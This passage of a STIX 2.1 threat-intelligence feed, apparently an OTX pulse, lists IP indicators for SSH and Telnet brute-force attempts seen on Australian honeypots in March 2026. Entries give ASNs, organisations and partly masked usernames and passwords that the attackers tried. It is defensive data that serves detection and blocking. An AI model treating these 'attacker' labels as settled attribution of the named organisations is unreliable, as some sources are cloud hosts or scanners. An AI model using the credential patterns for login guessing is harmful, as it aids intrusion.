      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T05:15:15.000Z",
      "valid_until": "2026-04-22T05:15:12.000Z"
    },
    {
      "created": "2026-03-21T05:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f009e501-5d49-4932-85dc-ed620b490a88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.84.144.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T05:15:15.000Z",
      "valid_until": "2026-04-22T05:15:12.000Z"
    },
    {
      "created": "2026-03-21T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4538. Organisation(s): China Education and Research Network Center.",
      "id": "indicator--48b30752-5d7f-4661-9913-bd3f70d49884",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.244.42.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T05:15:15.000Z",
      "valid_until": "2026-04-22T05:15:12.000Z"
    },
    {
      "created": "2026-03-21T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U*******************************************************************************************************************************************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T05:15:15.000Z",
      "valid_until": "2026-04-22T05:15:12.000Z"
    },
    {
      "created": "2026-03-21T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--16137dfe-615b-45ae-9b39-77e04e0fdc48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T05:15:15.000Z",
      "valid_until": "2026-04-22T05:15:12.000Z"
    },
    {
      "created": "2026-03-21T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 373. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): 3**********4, ***, j*****r, r**t, w***r. Passwords observed (masked): 3***********4, 3**********4, 1****6, E*****!, G**********3.",
      "id": "indicator--1cfb0e88-a06c-462a-8a50-11533bcefc2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.118.219.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T06:15:14.000Z",
      "valid_until": "2026-04-22T06:15:11.000Z"
    },
    {
      "created": "2026-03-21T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): 3**********4, ***, r**t, w***r, d********r. Passwords observed (masked): 3***********4, 3**********4, 1****6, E*****!, G**********3.",
      "id": "indicator--b3cf7f75-6cbc-4e58-9b73-b6a11e3c284a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.155.93.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T06:15:14.000Z",
      "valid_until": "2026-04-22T06:15:11.000Z"
    },
    {
      "created": "2026-03-21T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): k****h, 3**********4, u***m. Passwords observed (masked): 1**4, 3***********4, 3**********4, u*******s.",
      "id": "indicator--3bb20d37-3d25-48d5-bdfe-e1b9c38627ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.167.197.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T06:15:14.000Z",
      "valid_until": "2026-04-22T06:15:11.000Z"
    },
    {
      "created": "2026-03-21T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 35682. Organisation(s): Best Internet Solution Xk. Usernames observed (masked): 3**********4, j*****r, r**t, w***r, d********r. Passwords observed (masked): 3***********4, 3**********4, 1****6, E*****!, G**********3.",
      "id": "indicator--f5f22900-d998-47f7-b938-3916991199b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.83.206.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T06:15:14.000Z",
      "valid_until": "2026-04-22T06:15:11.000Z"
    },
    {
      "created": "2026-03-21T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, r**t.",
      "id": "indicator--e288a71a-222c-473d-9cb9-1bd0f7aa2ef5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.96.230.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:15:14.000Z",
      "valid_until": "2026-04-22T07:15:12.000Z"
    },
    {
      "created": "2026-03-21T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--430a82be-e9b1-4946-be04-3f0a0fa494cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.220.75.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:15:14.000Z",
      "valid_until": "2026-04-22T07:15:12.000Z"
    },
    {
      "created": "2026-03-21T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--1b280143-2b6e-4c91-88ee-6713f2a568e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.220.0.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:15:14.000Z",
      "valid_until": "2026-04-22T07:15:12.000Z"
    },
    {
      "created": "2026-03-21T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--4cd73407-d570-46b2-bfc9-fd1ebe9ece4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.204.197.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:15:14.000Z",
      "valid_until": "2026-04-22T07:15:12.000Z"
    },
    {
      "created": "2026-03-21T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--b5ceea5d-e29e-41ce-85df-b32251a9b53b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.53.231.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:15:14.000Z",
      "valid_until": "2026-04-22T07:15:12.000Z"
    },
    {
      "created": "2026-03-21T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2232d23f-450d-49b7-9bfa-e521f5b4dd3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.158.224.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:15:14.000Z",
      "valid_until": "2026-04-22T07:15:12.000Z"
    },
    {
      "created": "2026-03-21T08:15:15.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--ff6e4df6-08d3-48f3-9854-edb941afd985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.12.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:15:15.000Z",
      "valid_until": "2026-04-22T08:15:13.000Z"
    },
    {
      "created": "2026-03-21T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 39493. Organisation(s): CJSC Kolomna-Sviaz TV.",
      "id": "indicator--86b53e78-60e8-4a9b-b780-5492f3f6763b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.42.89.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:15:15.000Z",
      "valid_until": "2026-04-22T08:15:13.000Z"
    },
    {
      "created": "2026-03-21T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--8a0e60c9-a37b-4118-bc45-240eefdc3340",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.133.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:15:15.000Z",
      "valid_until": "2026-04-22T08:15:13.000Z"
    },
    {
      "created": "2026-03-21T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 367. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION. Usernames observed (masked): 3**********4, r**t, h**o, ***, t***s. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, A******3.",
      "id": "indicator--3dbafeb3-f3ce-4c72-af97-e23bb666f24b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.48.131.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:15:15.000Z",
      "valid_until": "2026-04-22T08:15:13.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ee04c6e2-d085-4d2d-9754-b0e30a5e823c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.231.251.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--3cbd8787-5fda-4d00-bc44-23fc99cf6b2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.247.252.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263774. Organisation(s): MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO.",
      "id": "indicator--8ecd4131-e596-4f5f-a97d-ff6f16394e5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.83.126.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): s***n. Passwords observed (masked): s********n.",
      "id": "indicator--a736981c-fe49-437e-908b-f6c8ce94d760",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.115.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): v***k, 3**********4, h****i, s******9. Passwords observed (masked): ***, 3***********4, 3**********4, H********$, v**********6.",
      "id": "indicator--f83431a1-0437-41cd-b9fd-50b5d62a11d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.240.75.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--daa03cb5-bf75-41f0-9f07-2c639d9fd7da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.173.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C.. Usernames observed (masked): f**d, 3**********4, b*******r, a***o, d********r. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, S*********!.",
      "id": "indicator--6023c7e9-42b2-4402-ba67-c31a31d110f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.100.64.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T09:15:14.000Z",
      "valid_until": "2026-04-22T09:15:11.000Z"
    },
    {
      "created": "2026-03-21T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--73ea3dfa-d6b0-492a-bc15-b6d17975f1b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T10:15:14.000Z",
      "valid_until": "2026-04-22T10:15:11.000Z"
    },
    {
      "created": "2026-03-21T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f11c2c43-e7bc-4c18-b937-3309a1490a89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T10:15:14.000Z",
      "valid_until": "2026-04-22T10:15:11.000Z"
    },
    {
      "created": "2026-03-21T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1****1.",
      "id": "indicator--23ac498a-4f92-4f85-9600-17b8af7481bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.6.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T10:15:14.000Z",
      "valid_until": "2026-04-22T10:15:11.000Z"
    },
    {
      "created": "2026-03-21T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): m**k, 3**********4, j****k, r**t, z*****d. Passwords observed (masked): 1**4, 3***********4, 3**********4, M*****3, a*****4.",
      "id": "indicator--3435ecd5-9cb7-4d34-a97c-bdfb9d6a13fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T11:15:14.000Z",
      "valid_until": "2026-04-22T11:15:11.000Z"
    },
    {
      "created": "2026-03-21T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): 3**********4, ***, r**a, r**t, ***. Passwords observed (masked): 3***********4, 3**********4, ***, A*******6, A*****!.",
      "id": "indicator--42154424-6af5-4ba4-9936-be8880c32254",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.91.4.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T11:15:14.000Z",
      "valid_until": "2026-04-22T11:15:11.000Z"
    },
    {
      "created": "2026-03-21T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--d90ab4fc-f733-43a7-9767-e02314ea215e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.35.88.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T11:15:14.000Z",
      "valid_until": "2026-04-22T11:15:11.000Z"
    },
    {
      "created": "2026-03-21T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, c******a, e***a, g********r. Passwords observed (masked): ***, 1**4, 1***5, 1******8, 3***********4.",
      "id": "indicator--5d6e3de9-5d1f-42cb-925a-feee33a28016",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.61.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T11:15:14.000Z",
      "valid_until": "2026-04-22T11:15:11.000Z"
    },
    {
      "created": "2026-03-21T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--2e5acbda-dbf0-4b5d-95f5-4069856cb539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.167.5.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T11:15:14.000Z",
      "valid_until": "2026-04-22T11:15:11.000Z"
    },
    {
      "created": "2026-03-21T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--768f8e15-aa8c-4dfe-9684-6094930ac8e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.2.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T11:15:14.000Z",
      "valid_until": "2026-04-22T11:15:11.000Z"
    },
    {
